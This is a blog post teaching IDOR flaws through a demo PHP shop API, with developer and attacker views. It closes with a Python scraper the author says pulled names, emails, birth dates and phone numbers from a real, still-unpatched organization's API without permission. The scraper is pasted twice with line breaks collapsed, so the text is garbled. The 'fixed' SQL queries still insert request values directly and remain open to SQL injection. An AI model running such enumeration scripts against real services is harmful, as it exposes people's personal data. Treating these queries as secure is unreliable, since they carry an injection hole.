IDOR - Developers Guide
IDOR - Developers Guide
I've been learning about cybersecurity for a few years. I was learning it online in my free time. I was a slow learner, and also I felt very difficult to understand the theory. One way to improve skills in the cybersecurity field is to participate in Bug Bounty programs. So I signed up in HackerOne (one of the popular online bug bounty platforms) 6 months ago. It looked hard for me to find a vulnerability in those given programs. Many professional hackers have been there for years and I'm new to Bug Bounty.
So I've decided to find a bug in a web application that I'm already familiar with it. So I've chosen one organization's web app. I was analyzing the entire web app flow and within two hours, I was able to find a vulnerability and exploit it. I reported the vulnerability to the organization but still, the vulnerability has not resolved. Here I'm not going to mention the organization I've attacked as it still vulnerable. But I'll tell how I exploited it at end of this article and I'll give a simple python script that I wrote to get all user data automatically. The vulnerability I found is IDOR(Insecure Direct Object Reference). In this article, I'm going to explain about IDOR in the point of Hackers and Developers.
What is IDOR?
IDOR stands for Insecure Direct Object Reference. The name itself enough to get an idea about it. It says referring an object (Model or data) directly by its unique property (such as id) in an insecure way(not validating). Are you confused.. don't worry we will be seeing it with real examples.
Demo Application
To demonstrate IDOR I made a simple e-commerce REST API. I wrote this in PHP, but what I'm trying to convey is not language-specific, the logic will be the same for all languages. You don't need to understand the logic behind my code, just follow along.
The above image contains routes for the application.
The 1st two routes (line 34 and 35) is signup and login, are the only routes that everyone can access without authorization. All other routes are protected by middleware "authorize_user" (line 39). The middleware checks if the user is authorized or not by validating tokens(But this is not the topic here).
The next few lines have routes that create, read, update and delete the product. (CRUD)
Post method in "/product/create" has additionally two middleware (In this e-commerce site, only the seller can create new products, also the seller needs to have an active wallet ) "check_seller" and "check_wallet".
There are two get methods to get products, one is to get one product by specifying product ID and the other is to get a group of products by page. (you can see here there is no extra middleware "check_seller" or "check_wallet" as anyone can see products in an e-commerce site).
The patch and delete in route "/product/id" is used to update the specific product by providing its ID(only seller can update or delete product).
The above image is the schema of the product table. (user_id is a foreign key related with "id in user table")
I used raw MySQL queries to access the database.
Developers point of view
update Query:
UPDATE Products
SET
name = '$this->name', description= '$this->description', price= '$this->price', available= '$this->available'
WHERE id = '$this->id' ;
delete Query:
DELETE FROM Products
WHERE
id = $this->id
The above query will work fine,
In this query, we are updating name, description, price, and available (the values are parsed from request body) if id matches the given product_id(obtained from params).
But this is vulnerable. If you write a query like this the other users can edit your product (same for delete query). Let's see how this can be exploited.
Hackers point of view
The vulnerability here is that any authorized seller can edit or delete any products. This is quite dangerous. This will never happen by accident and no one knows this bug exists until someone takes advantage of the vulnerability and problem raises.
For example:
Imagine I created an account as a seller and added a wallet.
Then I create 3 products that have Id's (1, 2 and 3).
If another seller log in their account and creates 2 product that has an Id's (4 and 5).
If I view all my products by hitting the endpoint (GET /user/my_products), it will give me all the products that I've created (in this case products with id 1, 2 and 3).
But what if I used postman to hit the endpoint (DELETE /product/4). The following query will be executed on the server-side.
DELETE FROM Products
WHERE
id = 4
The above query doesn't care who the user is. It simply deletes the product with id = 4 which should not be allowed.
Mitigation
IDOR is very simple to prevent. It is good to avoid referring ID in requests. There are such cases where we need to reference objects using ID like in our case we can only use id to edit or delete specific data. In such cases, we should not only check the id of the object, but also the user in which the object belongs.
The following queries can be replaced for the previously used update and delete queries.
update Query:
UPDATE Products
SET
name = '$this->name', description= '$this->description', price= '$this->price', available= '$this->available'
WHERE
id = '$this->id' and
user_id = '$this->user_id';
delete Query:
DELETE FROM Products
WHERE
id = $this->id and
user_id = $this->user_id;
Exploit
There is not much difference in the query. We are just adding another condition in where clause in the query to check if the user id matches. Isn't this very simple? Though this looks simple and you may ask me if the vulnerability still exists on the internet?
The answer is Yes, As I said at the beginning I found and reported IDOR vulnerability of an organization, I could extract all user data from their database.
import jsonimport requests
start =1end =25000def get_account_info(i): api_token = '**************************************************' #any vulnerable api end point api_url_base ='http://organization_domain/user/'+str(i) headers = {'Content-Type': 'application/json', 'Authorization': 'Bearer {0}'.format(api_token)} api_url = '{0}account'.format(api_url_base) api_url = api_url_base response = requests.get(api_url, headers=headers) if response.status_code == 200: return json.loads(response.content.decode('utf-8')) else: return None
for i in range(start,end): start = i account_info = get_account_info(i) if account_info is not None: print("\nHere's your info: ") #for k, v in account_info.items(): #print('{0}:{1}'.format(k, v)) print('name : ',account_info['FirstName']) print('batch : ',account_info['BatchName']) print('email : ',account_info['EmailId']) print('dob : ', account_info['DateOfBirth']) print('phone:',account_info['MobileNo1'],'|',account_info['MobileNo2']) else: print('\n[!] Request Failed')
start =1end =25000def get_account_info(i): api_token = '**************************************************' #any vulnerable api end point api_url_base ='http://organization_domain/user/'+str(i) headers = {'Content-Type': 'application/json', 'Authorization': 'Bearer {0}'.format(api_token)} api_url = '{0}account'.format(api_url_base) api_url = api_url_base response = requests.get(api_url, headers=headers) if response.status_code == 200: return json.loads(response.content.decode('utf-8')) else: return None
for i in range(start,end): start = i account_info = get_account_info(i) if account_info is not None: print("\nHere's your info: ") #for k, v in account_info.items(): #print('{0}:{1}'.format(k, v)) print('name : ',account_info['FirstName']) print('batch : ',account_info['BatchName']) print('email : ',account_info['EmailId']) print('dob : ', account_info['DateOfBirth']) print('phone:',account_info['MobileNo1'],'|',account_info['MobileNo2']) else: print('\n[!] Request Failed')
The above code is the exploit I've used to get all user data. One of the organization's API endpoint accepts user-id as query params and provided the entire data. It just checked if my token is valid or not. So I can log in to get a valid token. Then I can simply use that token to get everyone's data.
I hope you understand about IDOR and how to prevent it in simple ways.
Thanks for reading this article. Please leave your opinion as a comment below.
follow me on twitter @CyberSrikanth
Great work.. keep going 🔥
ReplyDelete